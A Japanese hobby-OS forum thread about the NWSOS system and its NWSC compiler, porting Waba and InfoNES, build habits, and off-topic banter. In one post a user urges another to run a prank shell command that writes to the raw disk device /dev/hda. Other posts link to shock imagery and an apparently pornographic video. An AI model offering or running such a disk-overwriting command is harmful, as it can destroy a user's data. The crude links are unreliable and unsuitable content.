セルフな環境ですと，(1)〜(3)で一気通貫なのですが〜

で，いろいろ大変なんで，外野の私は標準関数まわりの(3)をぼちぼちやってたりします。

あまり関係ないですが，ANSI Cのかなり凝ったプリプロセッサと検証用セットとして，
http://www.m17n.org/mcpp/
というのがあります。プリプロセッサはいろいろ挙動に問題が出やすいので，こういうのでいろんな
コンパイラをチェックしておくと良いのかもしれません。
ちなみにこれはgccなら直結可能だそうですぅ。

ねずみってあのねずみさんですか

gccのテストはdejagnu使っとるので、いろいろ用意するものがありまふ。
結構穴あるし。

手間考えると自分で必要な物を作っちゃうのが一番簡単かもしれず。

>>194
補足です。
＞(1),(2)は，クロス環境ではちょっとした仕組みを用意しないと面倒です。
の「クロス環境では」は不要でした。クロス/セルフ関係ないです。

実は、NWSCのテストに関しては、不十分であることが分かっていたのですが、
使いながらのテストで徐々に減らしていくという方法以外はやってなかった
のです。こういうやり方だと、0からNWSCで組み始めた場合は問題が生じた
時点でコンパイラのバグを特定できるのでまだしも、他の処理系からの移植
だとどこで問題が生じているのか見当も付かない事態が生じるのではないか
というのは前々から分かっていたのですが、めんどくさがって放置して
あったのです。

ただ、コンパイラのテストは、特に最適化が絡んでくると、有限のテストで
バグを0にできるかどうかもよく分かりません。どういうテストをすれば
バグを出せるかを検討すること自体が難しいので、仮に間違いなくバグを点検
できる何らかの合理的なテスト法をコンパイラの構造に合わせて考え出せた
としても、そのテスト法自体に誤りが含まれている可能性が残っていないと
も限らないのではないか、という疑問もあります。それに、そのテスト法
をコンパイラのソースを見て作り出す工程自体が、非常に膨大な作業となり
兼ねず、そういう方法をとることは難しいのではないかと思っていました。

結局、バグを出し切れる様な「多種」のテストを行うことと、実践的な
プログラムを「多数」コンパイルして確認していくことが一番妥当な
方法ではないかと思っていたのですが、それを超える方法が実は分かって
いたりするなら、どなたかに教えて欲しい物ですが、、、。

>>198
あの。全てを網羅するテストを書こうとすると，ホントやる気がなくなっちゃいます。
なので，今後みつけるたびにテストを追加していくやりかたで良いと思います。
私はそうしてます。相手が低レベルまたは粒が小さい相手ほど有効です。
アプリ全体とかでかい粒だとあまり役に立たないです。
だから標準関数から手をつけています。
コンパイラ相手はかなり大変なので無理にやることはないと思いますです。
利用者側でテストを書き溜めれば，少なくとも挙動の報告はスマートになりますし，
バージョンアップ時の変化にも追従が可能になります。

私は，書く人とテストする人は違う人であるべきだと思います。
そうでないと壮大な自作自演に陥りますので。

挙動をテキストで表現するのは大変ですが，
同じ挙動をするかどうかを確認すること，をテストという形で表現することはできます。

もしよろしければ，あちらの議論ページへこの話題を持っていきたいのですが，いかがでしょうか。

>>200
もってってください。

>>201
もっていきました。

取りあえず、NWSCでも正常動作に成功しました。
ちゃんと、>>189と全く同じように動作できます。
原因は、NWSCの次の様なバグでした:

1. 構造体の戻り値を実体で返す関数
2. 構造体の実体を引数にとる関数

1の戻り値を直接2の関数に渡すようなコードに対するコンパイル結果の間違い。

詳細は:
ttp://oss-nwsos.sourceforge.jp/wiki/pukiwiki.php?WABA

と思ったのですが、
実はNWSCのバグではないようです。getUtfString?()関数が
ローカルなAUTO変数の構造体を戻り値に返している事が原因のようです。

少なくとも、純粋なC言語に置いては、AUTO変数の存続期間の保証は関数内
に限られるはずなので。

C++でもこのタイプは駄目だったはずですが。

勘違いしてました。実体を返しているのでこれで正しいんでした。

結局NWSCの構造体の実体渡しに関するバグでして、修正後のNWSCでビルド
すると完動しました。

つまり、NWSOSでWabaが動作したと言うことになります。

以下のリンク先はbaysideさんがNWSCが修正される前に手作業で修正
して動かしたときのスクリーンショットです:
ttp://waba.sourceforge.jp/cgi-bin/index.cgi?p=WabaNWSOS

修正後のNWSCはいつものここにあります:
ttp://www.nowsmartsoft.or.tv/download/free/CROSS-DEVELOP/

waba age!

waba age!!!!

あわばばばば

>>196
そうなんですか……。

>>198
やはり実績を積みながら精度を上げていくしかないんですかねー。

>>207
おめでとございまーす。
wabaのソースはあまりコンパイラに優しくなさそうだと思ってたんですが、
ちゃんと動くようになりましたか。イイ感じです。

wabaのソースでやさしくなさそうとかいったら・・・
InfoNESをNWSCにかけてみたら200個くらいエラーやら警告やらが出たよ（爆）

バグだらけっつーことか＞NWSC

>>212
処理系ごとの差異を自力解決できない連中は，そもそも処理系について分かってないってこった。

わざわざ自分の無能さを晒すとは大した度胸だなｗ

>>212
「コンパイルしてみよう」という努力だけは買ってやるよ。
Windows版のソースを元にするんだよな？
- InfoNES_Sound_Win.cpp
<windows.h> <mmsystem.h> "dsound.h"
- InfoNES_System_Win.cpp
<windows.h> <mmsystem.h> <limits.h> <crtdbg.h>
- InfoNES_Sound_Win.h
<mmsystem.h> "dsound.h"
まずこの#include連中を全部殺せ。コンパイルし直して，未定義エラーが出る奴を順番に自分で実装汁。
描画系は最後まで放置汁。音系も当然なｗ
つーか，スレッド使ってるからデバッグで相当苦労するぞ。デバッガなしのprintfやったことあるか？>>212
つーかつーか，このソースホントに大丈夫か？CreateThread()とCランタイムは混ぜるな危険だったと思うけどな。
ほとんど実害はないだろうけどな。深く読んだわけではないから読み違いかも知れず。

標準関数が全部揃ってないからって，コンパイラの所為にするのだけはやめろ。お里が知れるぞｗ

>>212
エラーログ、小分けにして張り付けてよ。

あー，今さら気付いた。OSASK版InfoNESをwabaに続いて移植しようって魂胆か。

Lにバグ取り丸投げして，味をしめたのか。ツマンネーこと考えるやつがいるもんだな全く。

丸投げなんてひどいなー。
C言語とアセンブラの達人でもなければコンパイラのバグを
見つけるなんで困難だよ。
すくなくともWabaはGOやgcc32やgcc64やNWSCやRuputer用コンパイラに
立ち向かってこれたんだから互換性は相当高いと思うよ。
InfoNESはC++だし，inlineとか使いまくっているので，
かなり処理系に依存すると思います。
別にNWSOSに移植しようというのではなく例として示したかっただけです。
まぁ，うまく動いた人がいたら自分のマシンで寝かしておかずに，
ぜひ，NWSOS-Wikiに投稿しませう。
MONAより先にエミュレータがうごいたらいいネタになるでしょ（笑）

それ以前にNWSCはC++をサポートしてないのでコンパイルできないのは当たり前。
cl.exe使って移植しろってこった。
神とまで呼ばれた男にこれ以上醜態を晒させるのは忍びない・・・orz

>>219
ソース読みもしねぇで拡張子だけで判断してるバカハケーンｗ

InfoNESのソースはC++ではあるがほとんどCに近いです。
ただ純粋なCにはinlineはなかったと思う。
それ関係でOSASK版InfoNESもエラーが出まくっていたようだが
無視してます（爆）
Cコンパイラでちゃんと動くように修正するよりは，ほかの
NESエミュレータをもってきたほうがいいかもしれません。
誰かNWSOSでNES遊びたい奇特な人がいたら，警告全部とって
移植することも考えるけどねー。
コンパイラの統合的なテストは必要ですねー。
全自動でできるものならそんなに負担にもならんでしょうし。
GOとNWSCとGCCと点数が一番高いのはどれになるんだろう（笑）

>>220
発見のことをハケーンとか言っている馬鹿ハケーン

あ

>>221
＞ただ純粋なCにはinlineはなかったと思う。
nwscではinlineキーワードは予約語として対応しとるよ。マニュアル嫁（買ってないやつは持ってないか）
つーか 俺の手元では，少なくともコンパイルは全部通ったわけだが。(ただしOSASK版を改造)
「ぷ〜やん」のROMイメージでも送ってくれたら，ソースやってもいいけどなww

＞コンパイラの統合的なテストは必要ですねー。
＞全自動でできるものならそんなに負担にもならんでしょうし。
じゃぁ，書いてくださいね。標準規格はどっかで探して読んでね。

それとどうでもいいけどよー。ちゃんとヘッダ使えよ。
#include "foobar.cpp"
とか見るとヘドが出そうだ。マッパー周りは許すけどな。
依存関係を追いかけられんちゅうの。

>>222
＞あ
？ほ

#includeの使い方はwabaの影響だろう
本家からしてそうやってるから
正当化の理由にはまったくならないが

>>224
元のソースに合わせるのはいいんじゃないの。移植屋の分際で主義主張を通すのはみっともないし。
InfoNESのオリジナル（どれがオリジナルかようわからんがWin32版）ではマッパー以外はちゃんと
ヘッダ使ってるんだからわざわざソースを#includeするように変えることはないだろ，ということ。

>>225
そのわざわざソースを#includeするように変えたのはwabaの影響かなって言いたかった

>>215
＞ぜひ，NWSOS-Wikiに投稿しませう。
＞MONAより先にエミュレータがうごいたらいいネタになるでしょ（笑）
あ。そういうことか。それなら協力しましょう。ちゃんとビルド通したら上げときゃいいですね。
といっても今日日中は作業できんので，夜まで待つべし。待つのがいやならご自分で。

いろいろ試行錯誤した結果があれなんだからさー。
気に入らないんだったらオープンソースなんだから自分の
気のすむようにすればいいんだよ。
私だってオリジナルにはできるだけ手を加えなくないっす。
とりあえず動くようにいろいろしているだけ。
Makefileすらかけない輩にいろいろ期待するのはおかしいよ。

>>218
＞MONAより先にエミュレータがうごいたらいいネタになるでしょ（笑）
MONAでは既にエミュレータが動いとるよ。（ファミコンじゃないけど）
ttp://mona.sourceforge.jp/dynamic/pukiwiki/pukiwiki/pukiwiki.php?Yui_Neko

>>227 引用と名前間違えた。
誤　227 218 sage New! 04/07/03 02:32
誤　>>215

正　227 215 sage New! 04/07/03 02:32
正　>>218

>>226
うーん。それはわかってま。
wabaのソース見て，「このやりかたはスバラシイ」って思ったんならどうでもいいんだけれども。

確かに負けファイル書けなかったら素晴らしい方法かも(w

動きゃいいんだよ動けば。

>>228
Makefileは書けなくてもantはバリバリだとか?

>>228
うんうん。よくわかった。でもな，OSASKはmake使える環境なんだろ。
makeは便利そうってわかってるんだろ。便利そうなものを使おうとする努力は
忘れない方がいいと思うよ。
makeは古臭くて，antの方がすばらしいって思うんならCなんちゅう糞には手を
出さない方がいいよ。頭が腐っちまう。

minivmacなんかも規模は小さかったと思うけど、
内容はよく見てなかったなー。

おいらmake使うよりバッチファイル使う方が楽なんですが駄目ですか……。

バッチファイルクリックするたびにお茶を飲むなんてイヤでつ

イイじゃないですか。
バッチファイルを実行してビルドが終わるまで飼ってる臆病猫と心理戦。
猫が堪えきれず逃げ出した辺りで再びモニターの方を見ると、
コンパイラのエラーが300個にリンカのエラーが1000個。

minivmacもあんまし芸風変わんない？
.hで激しく関数定義。

InfoNESをNWSCでビルドした。
元にしたのはOSASK版。これは判断誤った。
InfoNES_System.cあたりの機種依存部分はWin32版を元にした方が早そうだった。
main()はカラ。好きにしてください。

で，NWSOS-wikiのどこに上げればいいんでしょう？

すげー！！

>>241
ビルドって，コンパイル〜アッセンブル〜リンクしただけだよ。
main()カラだし。
で，どこがいいのですか？アプリケーションのところ？

あげておいた。これから仕事なんで，あとは自己解決よろ。
waba移植やったんなら，描画とかだいじょうぶだよな。

>>215大権現
乙です。

遅くなったけどありがとう。＞InfoNESのページ新規作成してくれた人

>>244
ダイゴンゲン？なの？

>>245
ダイゴンゲン様です。
大権現だと大辞林に載ってないのか……。
http://jiten.www.infoseek.co.jp/Kokugo?qt=%B8%A2%B8%BD&sm=1&pg=result_k.html&col=KO&sv=DC

>>246
あ〜権現ね。新橋で２，３回いっしょに呑んだことあるよ。俺はあんなに太ってないよ。メガネもかけてないし。

つーかLタソも移植マニアなの？LタソをOS強化へ集中させようと思ったのにぃ。キーッ！
それとも息抜きなのかな。どうでもいいや。( ( 消滅 + 1 ) & 南無 ) 。

>>247
ホ……ホトケとマブダチ？
しかも入滅？

そういう事ならと俺も手伝ってみようかと思ったんだけど、
近所の部品屋が数年前に潰れちゃったんだよなぁ。
仕方無いから実機で拡張コネクタにフォーク突っ込んでグラグラさせながら
野球ゲームでも遊びます。

俺は、実家に「古いハミコンのカセット送付依頼」を発動したよ。ぷ〜やん、くれないんでしょ。
割れはキライだし。
今のところ、「アストロロボ・ササ」が最有力候補。

ROM吸出しは面倒そうだなぁ。バスが2セット出てるんだっけ。もう忘れたよ＞ハミコン

MASK == みしぇる
MASK == みしぇる
MASK == みしぇる
MASK == みしぇる
MASK == みしぇる

　　 ＼ | /
　　― Ω―
　　　o| |o
　　 　_| |_

nwwww
(S o S) < NOWSMART-OS

Linuxから書き込むテスト。

Linuxから書き込み中、、、。

ほほほ

ツールが最初から揃ってるんで、ええでんな。

TO OMOTTEITARA CANNA GA HENNNI NARIMOUSHITA...

NANNJA KOREHA ?

Demo, kondake ugokeba, Windows tukau imimo usurerushi,
Windows ga suitaishiteikunomo jikannno monndaikamone.
Sekennga Linux Linux tte sakebunomo wakaruyouna kigashita.

Qt toka de application wo kaihatu surunara Windows to Linux de
ryouhou ugoku soft ga dekirurashiikara iikamone...

Toiukotoha, NWSOS mo Qt ni taiou sasetara iitte kotoni naru kamone.

>>256

CANNAとGUIアプリの間のプログラムが変になったのかも。
自分の場合はkinput2が変になりやすいので
ps aux | grep kinput2 で動いてないのを確認してから
kinput2-canna & とし、GUIアプリを立ち上げ直す。もっとまともな
方法は本当はあるはず。

>>258

kinput2 -canna &
ね。

>>258

最近はkinput2とは別にkinput2-cannaバイナリが存在する場合もあるらしい。
トラブル発生時に場当たり的に試み kinput2-canna & で復旧したのでそれで
しのいでいる。しかし正直kinput2もcannaも捨てて別の何かに移行したい。

s/258/259/

skkserv & skkinput

sakkyserv & sakkinput

atokx & iiimf

>>257
Qt on NWSOSはネタだよね？QtってC++ベースだったと思うし。

それともNWSCを捨てる覚悟ができたの？

NWSC++

ところで、KylixはPascalからQt使ってますよ

>>266
> ところで、KylixはPascalからQt使ってますよ

Qtそのもののビルドはどーすんだべ

>>265
Qtをビルドできる程度に、NWSCをC++互換にすればいいのではないかと
思います。

>>258-259
有り難うございます。参考にしますです。

>>260
実はAtokに変えればいいかも知れないと思っていますです。

テンプレート使いまくりだし、Qtが使える程度ってほぼフルスペック。
それにQtだけでFDから溢れるくらいサイズがでかい。
むしろCで書かれたGDKを移植してGTK+が使えるようにする方が現実的。
と言ってもGTK+もFDから溢れるのには変わりないけど。

結局、gcc使いたい場合はgccも使えばいいんですね。

NWSCは新しい言語に対応することにして。

FDにインストールしたい場合は、Qtを使っていないコアな部分だけを
インストールできるようにしておけばいいんですね。

今のNWSOSのコンパクトなGUIでも基本的に大抵のことは出来ると思いますので。
各種コントロール要素が不足している場合は、独自に追加できますし。

>>267
Qtは.so(共有ライブラリ)として使って、Pascalに翻訳されたヘッダファイルで呼び出してる

>>273
C++のライブラリをCから呼べるようなCラッパかぶせると，
C++ライブラリの意味ナ〜（くやしいけど）

動物園にMonaやOSASKはうpしないんですか＞みしぇる

Fedoraか何かで発作起こすなよ＞売店屁苦

スクショクリックしたら大きくなるようにするつもりはないのでしょうか

>>260
よーく見たら、kinput2-cannaが実体で、kinput2がシンボリックリンクだった。

犬にはexec-shieldなんてのがあるんだ。
他のIA32用のOSでも同じ事やってる奴あるのかな？

※個人的にはスタックやヒープのコードを勝手に実行ってのは結構楽しいと思うんだけどｗ

>>278
ちゃんと投票したか?

>>279
一応はね。

>>280
白票?

>>281
いや。
とは言え消去法で選ぶほか無い情けないラインナップで。
母校の卒業生に投票しないっつったら同窓生から非国民を見るような目で見られるし、
まーどうにも気の滅入る選挙だった。

>>223
遅レス。
NWSDCのchmのマニュアルなら本家で公開されてます。
開発する人は基本的に純正環境を使うと思うんで、
一度見とくと良い事あるかもしれません。

>>278
OpenBSD
動的に生成したコードを実行できるのは便利なんだけど、
それが穴になっちまうわけで。
まあいまどき自己書き換えなんてめんどいだけだし。

>>284
OpenBSDですか。今度見てみます。
Cでメモリを意識し始めた頃にmalloc()したところへコードぶち込んで
関数ポインタにキャストして実行とかやるとちゃんと動くんで、
かなり驚いた事があります。
学習段階でこういうちょっとした蛮行やるのは結構楽しいです。
アセンブラ使う人には面白くもなんともないんでしょうけど。
実用面じゃ動的なコード生成はJITとかローダ作りに必要ってくらいですかね。

>>285
悪用されるからそういうの禁止されるのが主流になりそうだけどね。
NXとかそのためのものだし。

>>286
その方が正常だとは思います.
まあVirtualProtect()みたいなのさえあれば大体問題無いでしょうからね.
vpageChangeType()ってのが次のnwsosに入ってるみたいなんで,
それを使う事になるのかな?

トリップ激しく間違ってるし……

>>282

非国民なのは国民を無視する人びとだから気にすんなよ

Lﾀﾝは選挙行ってきた？

>>290
Yes

それより、この界隈でメールウィルスに感染してる人いませんか?
先日から、*.pifが添付されたメールが大量に送られてきていますです。
多分、Netsky-jか、Netsky-Qかなと思うので、取りあえず自分の
環境については、しばし前からstingerでチェック中です。
このウイルス(?)は「メールが拒絶された」みたいな英文メール
も来ます。

似た様な症状の人がいたら、stingerでチェックしてみて。

Worm_Netsky_ABとかいうやつかもしれない。

1. 以下の様な一行のメッセージが本分として阿￥送られてくる:

I've your password. Take it easy!
Hey, are you criminal?
Do you have more samples?
Why do you show your body?
True love letter?
Do you have more photos about you?
Do you have asked me?

2. 冒頭が次の様な本分のメールもある:

Mail Delivery System - This mail contains binary characters

------------- failed message -------------

メールデータの量も結構あるので、stingerがなかなか終わらない。
今のところ未発見。

でも、winlogon.exeは実行中で停止できない。これはワーム本体?

取りあえず、以下のフォルダだけstingerでチェックしてるんですけど、
まだ終わりません。
c:\Documents and Settings\
c:\winnt

そういえば、少し前、ACPIが変だとか言うメッセージがブルースクリーン
に出て、再起動を余儀なくされた。あと、キーボードが効かなくなったり、
音源カードの認識が不安定になった。

てっきり、200GBのハードディスクを新調して接続したためだと思って
いたんだけど、同時期にややこしい。

あと、Linuxをインストールしたりしたので、しばらくの間のある程度の不安定さ
は、こういう事をしたときのよくあることだと思ってたんだけど。

そういえば、不安定さはBIOSアップデートもしたせいかとも思ってたけど。

色々原因となりそうなことがあるため、困惑。

ウチは俺の前のメールアドレスからSFのアドレスにきたんで
めっちゃ笑いました。 ＞Netsky
多分この界隈の人が感染してますね。
あっきぃさんのトコでも少し前にウィルスメールが激しいって話してました。

NT/2000/XPで、c:\winnt\system32にある、winlogon.exeは正常らしく、
駄目なのはc:\winntにあるものらしいので追記。

しかし、うちの環境には、system32にはそれがない。。??

それでもなお、winlogon.exeはタスクリストに表示されている。

で、選挙は？

>>301
>>291

最新Knoppix日本語版で,ターミナルエミュレータから
2>/dev/null >/dev/hda cat /dev/nullpo
を実行してみて下さい

>>302
très bien

Jean-Michel Pour∬

>>292,299
SPAMとワーム憑きメールは有名税でつ。
あきらめませう。

ライトコーンさん，
http://7427466391.com/
を解いて，googleに就職してみてください。

>>292
晒してる目アドにウィルスメールが来るのは当たり前だと思いますよ。
今まで運が良かっただけなのでは？

>>307
頭抱えたよ。なるほどねぇ・・・。変なアプローチしてたからあのままじゃ一生分からなかったかも試練。
あああああああああああああ

大学行きなおそうかな

>>307
嫌です。

それに最初から問題を知らないとヒントも減るし解きにくいし。

sage損ねた。

>>310
そりゃそうだ。level1の問題は、
http/{自然対数の底eで、はじめにあらわれる10桁の素数}.com
とかなんとかいう看板だべ。
すでにそこいらじゅうに解答サイトがあるから面白くもなんともねぇ。

Google Labsでぐぐるなり直接アドレス予想するなりカナーリかんたん

｜ -　 -
｜ 　|
｜ 　＿
└───
東大卒だったんだ

生きてんのか？

Linux板のGPLスレで名無しで粘着してるところを見かけたので、
逝きてはいるんじゃないか。

暑さでバテてるんじゃ。

健在です。

暑いのは絶えられるほうなので。あと、琵琶湖の周りは京都ほど
暑くはないもので。

>>314
あまりコメントしたくはないのですが、京大です。

>>316
わてやありゃしまへん。

>>319

同姓同名の人が東大だったっけ

青木だっけ？俺の先輩だよ

>>318
そりゃ良かった。
俺は暑いのが駄目で……。
冷房欲しいな。

>>316
彼はライセンス文書は読めているようなので一緒にしては可哀想だろう

>>L氏
GetStdHandle()に相当する物はどのくらいでサポートされそうでしょう。

>>325
標準入出力のファイルディスクリプタは、番号としては0,1,2に固定です。
ただし、dup()やdup2()などによって番号に対応する実体を変えること
ができるというUNIXと同じ仕様です。

したがって、仮にGetStdHanlde()を用意したとしても常に0,1,2が得られる
ようになるだけなので、特にGetStdHandle() APIを用意する必要がない、
と考えています。

逆にWindowsの仕様はちょっと変わってると思うのです。敢えてUNIXと
異ならせている理由がよくわからないので。

>>326
うわ、本当ですね。
なんで俺試さなかったんだろう。
これならGetStdHandle()いらないです。
#define STDIN_FILENO (HANDLE)0
#define STDOUT_FILENO (HANDLE)1
とかやっときます。

>>327
stdio.hの中で、
#define __STDIO_FNO 0
#define __STDOUT_FNO 1
...
となってます。

>>328
アプリ作成者が使って良い物だと思ってなかったんです。
libcのstdinやstdout用のプライベートなデータだと思ってました。

お舞いらはこれみても平気なんだろうな

---------------------------------------------------
（注意）食事中の方やショッキングな画像が苦手な方は見ないで下さい。
　
放射能被害胎児（劣化ウラン弾の放射能によるものです）
※　かなりショッキングな画像が含まれて居ますが、これも現実です。
※　現実から眼をそむけず、悲劇の抑止を考えよう

http://www.firethistime.org/extremedeformities.htm

ちなみに俺は最後まで見れなかった。

フランス語からの外来語だからロカールが正しい＞MASK
ttp://dictionary.goo.ne.jp/voice/l/02051083.wav

sabotageと同じ
英語だからと言ってサボテージって読まないでしょ
根拠？
ノルマンコンクエスト時代にフランス語から入ったのは読みまで英語化してるが
19世紀以降に入った単語は衒学的な理由で原音が尊重されるってこと

>>330
うるせー馬鹿。よその国なんぞどうでもいいからまずは夏休み使って原爆記念館行ってこいや

>>332
うるせー馬鹿。よその国なんぞどうでもいいからまずは夏休み使って吉原行ってこいや

>>334
黄金町じゃだめか?

女が和製じゃねーだろ

お前らと違ってmaskは女には困っていないようだが。

>>332
あー、なる程。
やっと疑問が解けますた。ありがとございます。

>>338

彼女の写真早急に吊せエログつくれ
これあげるから
ttp://www.mankobank1.com/mov/1000.wmv

オマケ
http://www.xiaprojects.com/www/prodotti/kxdocker/sshots/kxdocker_42.png

ｱﾝｱﾝｲｸｲｸ　　　　　　　
　　 ご｀ヽ､
　　ら,り⌒＼
　　　/　 ﾉ 　ﾞヽ
　 　 {　/`Y´ ＿）
　 　 ヽ'^) ＞. )(ロータ)

>>338
けんちん汁で顔を洗って、
>>341をばれないように１００日張れ！！

下の枠線の中をコピーして、あなたのホームページの任意の行にペーストして下さい。
┌──────────────────────────────────────────┐
│<table border=0 cellpadding=0 cellspacing=3 align=center><tr><td> │
│<a href="http://www.geocities.com/ceasefire_anet/misc/iraq_fukkou.htm"> │
│<img src="http://members.ytv.home.ne.jp/taka43/war/jie-tai_banner.gif" │
│ alt="自衛隊　行くからそこが　戦闘地域" │
│ border=0 width=234 height=60 align=left></a> │
│</td><td nowrap> │
│<div align=left><font size=-1>『 │
│<a href="http://ceasefire.hp.infoseek.co.jp/">人道的停戦を呼びかけよう実行委員会 │
│</a>』<br>← <b>皆で<a href= │
│"http://members.ytv.home.ne.jp/taka43/war/jie-tai_banner_kakikata.htm" onClick= │
│"window.open('http://members.ytv.home.ne.jp/taka43/war/jie-tai_banner_kakikata.htm' │
│,'subwin','width=700,height=470');return false"> │
│バナーを付けて</a>広めよう！</b><br> │
│</div> │
│</td></tr></table> │
│ │
└──────────────────────────────────────────┘

>>343って、逆にコピペが難しくなってるよな。

お茶が5杯
グガゴグ
女性器じゃないよ
グガゴグ
お花じゃないよ
鉄砲で狙撃したら
カエルが浮いた

昔はNOWSOFTって言ってたんだ

上級　第１位　熾天使：セラフ (Seraph: 複数形 Seraphim)
　　　　第２位　智天使：ケルブ (Cherub: 複数形 Cherubim)
　　　　第３位　座天使：ソロネ (Throne)
中級　第１位　主天使：ドミニオン (Dominion)
　　　　第２位　力天使：ヴァーチャー (Virtue)
　　　　第３位　能天使：パワー (Power)
下級　第１位　権天使：プリンシパリティー (Principality)
　　　　第２位　大天使：アークエンジェル (Archangel)
　　　　第３位　天　 使：エンジェル (Angel)

>>347
何それ？

>>348
maskはセラフらしいからその関係ではないかと

あれかなり恥ずいから消したいんだけど、駄目？　＞書いた人

>>350
飽は勝手に書き換えてたよ

ネタ梅に適当なこと書いただけ

>>350
そんなKみたいに俺々な香具師だったら名無しで書かないって。

>>350
wikiなんだし勝手に直せばいいやん。
めんどくせー規則はwikiの思想にあわんと思うが。

後で勝手に変えとく。
かわりに何かボケようと思ったけど何も思いつかねー。

なんのはなしかわからないんでかいせつしてくださいよ

>>356
wikiにmaskは神に次ぐ座って書いた馬鹿がいるって話

MASKってのぼrうわなにする

fuckmen
↑覆面と読む

help。
俺うにくすの人じゃないからdup()が何であの位置にあるのかよく分かんね。

>>358
のぼりやさん？
http://japanvcs.co.jp/orijinarunoboria.html

>>359
友人が酒飲んでる時おもむろに
「Fuuuuuuuuuuuccccccccccccccccccckkkkkkkkkkkkkkkk!!!!!!」
って感じに叫ぶよ。
すげー怖い。

ぐはぁ。のぼりやの先頭一文字抜き忘れ。

>>361
Have you fucked yet?

>>363
of course, he is my boy-body-friend!!!!

OSASKでは竿を切るか芸になるか霊符満になるかのどれかを選ぶのが真の漢らすぃ
http://pc5.2ch.net/test/read.cgi/os/1074938017/685-687

>>363
One friend says I am fucking my life...

>>364
お前なんぞ知らん。

>>365
隣の家の猫が先週去勢されたらしい。せつない。
俺なら自刃する。

見てたらのぼり欲しくなってきた。
買うか。
dup()に詳しい人いたらwikiかここへ殴り書きプリーズ。

>>366

I guess you wanna be fucked by "his" wife...
I know that you wanna SM play!
Hehehe!

>>367
どーでもいいが、wannaの後には動詞がくるんだけど。

>>366
dup()に詳しい人なんて、日本に１００人いるかな。

dup()では検索で引っかかりすぎるので、dup2()で探すとか。

>>366
少し調べて、wikiに書いておきました。

>>368
I wanna be me --

なんて曲があったように思うがあれはダメかね

それより>>366のOne friend saysのほうが鼻につく
One(A) friend of mine [said, / says that]が自然だろうな

>>372
beは動詞ですが

>>373
あー、2行目のこと言ってんのか
1行目しか見てなかったわ
SMがplayを修飾しているとカタツムリ解釈すればなんとかなるな
'SMなplayをする'っていうふうにね
英語のplayに日本語の'プレイ'の意味があるのかは正直しらんが

>>372:4-6同意。

OSに暗号技術組み込むのいいかも。

>>376
THE-BBLは計画だけあるらしい
ttp://z-slash.net/the-bbl/index.php?%A5%C9%A5%AD%A5%E5%A5%E1%A5%F3%A5%C8
＞B-Sacuritysd: THE-BBL用のセキュリティーシステムデーモン。セキュリティーAPIを提供。

>>377
小学校の算数レベルの暗号じゃなくて、東大の院レベルの暗号技術。

暗殺技術に見えた。

>>378
こういうこともあるから甘く見ない方がいいかも
ttp://hotwired.goo.ne.jp/news/news/technology/story/1873.html

>>380
うん。しかしそれにはこう書いてあるよ。

>「サラは、並外れて聡明な子だ」と言うのは、バルチモア社のホワイト氏。
>「彼女はあのプロジェクトに必要な大学院生レベルの数学を、だいたい3日で
>マスターし、当社のトップクラスの数学者と、たやすく互角に張りあう
>ことができた」

サラ・フタナリー

>>369
少なっ

>>370
簡単な使い方の説明はそこそこ見付かるんですけどねー

>>371
おつかれさまです

>>372
周りにいるメリケンの日本語も大分おかしいから良いんだよっ

去勢って人間の都合しか考えてないよな。
性欲に悩まされる動物とかUzeeee
ゴリラより知能低いくせに動物には「あげる」ではなく「やる」を使うべきだとか逝ってんのも同類。

去勢して大人しくなるのではなくて撃つになるだけ。♀見ると躁鬱らしい。

さっきゅんは虚勢されたメスか

>>381
http://pc5.2ch.net/test/read.cgi/os/1083420872/969

>386
Dat hoe.

おまいら、左右まん中まとめてくれや

---右---
さっきゅん,L,henoheno,hideyosi?,MiST,卑下?

---左---
K,憂国少年(=K?),zakky?,mask

---中道---
mjt?,血の?,その他

>>388
卑は政治的発言したことないから不明かも
臆は「和製」って用語嫌がってたから右じゃないかも
痴は選挙行った事ないって言ってたから女にしか興味ないかも

>>388
Mitsは君が代崇拝してるから間違いない。

>>390
MiSTやMitsじゃなくてMiSt

霧七誌で乙

＞憂国少年(=K?)
K絡みの少年っつったらKの子か飽?

俺はいつ左になったのかと(ry

372 名前： Be名無しさん [sage] 投稿日： 04/08/12 22:25
＞俺様憲法を作ろうとしてたような香具師
俺様OSを作ろうっていうのと対象が違うだけで実態は同じ

ttp://mona.sourceforge.jp/dynamic/pukiwiki/pukiwiki/pukiwiki.php?Mona%2FPJ%C2%CE%C0%A9
を要約すると↓になる
＞卑下は神聖にして侵すべからず

つまりOSを作ることを突き詰めると
ttp://pc5.2ch.net/test/read.cgi/os/1089459617/19
＞　∧||∧
＞（　 ⌒ ヽ　　独自に政権を獲るっているまたは、獲ろうとしているらっきゅんのための
＞　∪　　ﾉ　　スレッドになればと思います。
＞　　∪∪
ってことに行き着くわけだ

こういう人種は昔なら全学連とかで学生運動してたのと同類
その証拠が頻繁な内ゲバ
まあ天下を動かせるかどうか生暖かく見守ってやれ

499 名前： Be名無しさん 投稿日： 04/08/17 11:27
　∧||∧
（　 ⌒ ヽ　　独自に政権を獲っているまたは、獲ろうとしているひげぽんのための
　∪　　ﾉ　　スレッドになればと思います。
　　∪∪

700 名前： Be名無しさん 投稿日： 04/08/19 15:14
前から思ってたんだが和製OSにネットワーク乗っけても2ch見るだけで終わり？

701 名前： Be名無しさん 投稿日： 04/08/19 15:15
ネット使えば、政治体制おもいっきり民主的に変えられるよな。
電子政府という言葉がよくないんじゃないかと思ってる。
電子政府っていうと選挙の開票を速くするだの、手続きを簡素化するだの、くだらんことばっかりだからな。
本当に求めてるのは、電子政治。
このコンセプトで研究する人がもっと増えてきてもいいんじゃないかと思うんだけれど・・・。

702 名前： Be名無しさん 投稿日： 04/08/19 15:18
和製OSで直接民主制ｷﾀ─ｗｗﾍ√ﾚｖｖ〜(ﾟ∀ﾟ)─ｗｗﾍ√ﾚｖｖ〜─ !!

703 名前： Be名無しさん 投稿日： 04/08/19 15:33
>>702
>>499

卑下をチェ・ゲバラに祭り上げようとしているスレはここですか？

>>398
いいえ、卑下は右です
>>388

卑下は田嶋陽子に投票してそうだから左でいいや

卑・下バラ

ゲイツになったりゲバラになったり忙しい香具師だな

>>389
＞臆は「和製」って用語嫌がってたから右じゃないかも
言葉面だけでosdev-jのjと意味は大差ないのではないかと・・・

>>394

右なの?(旧仮名遣いって確かに右が好むな


安芸は政治に興味無さそう。おんなのことs

>>404
まあ超党派ということで

>>366

かわいそうなトム。

http://pc5.2ch.net/test/read.cgi/os/1089459617/376- が始まりましたが

最近人気急上昇の和製OS「四天王」で誰が一番かっこいい？

●現在の集計結果です(有効票数：7票)。

興味なし 14%(1票）
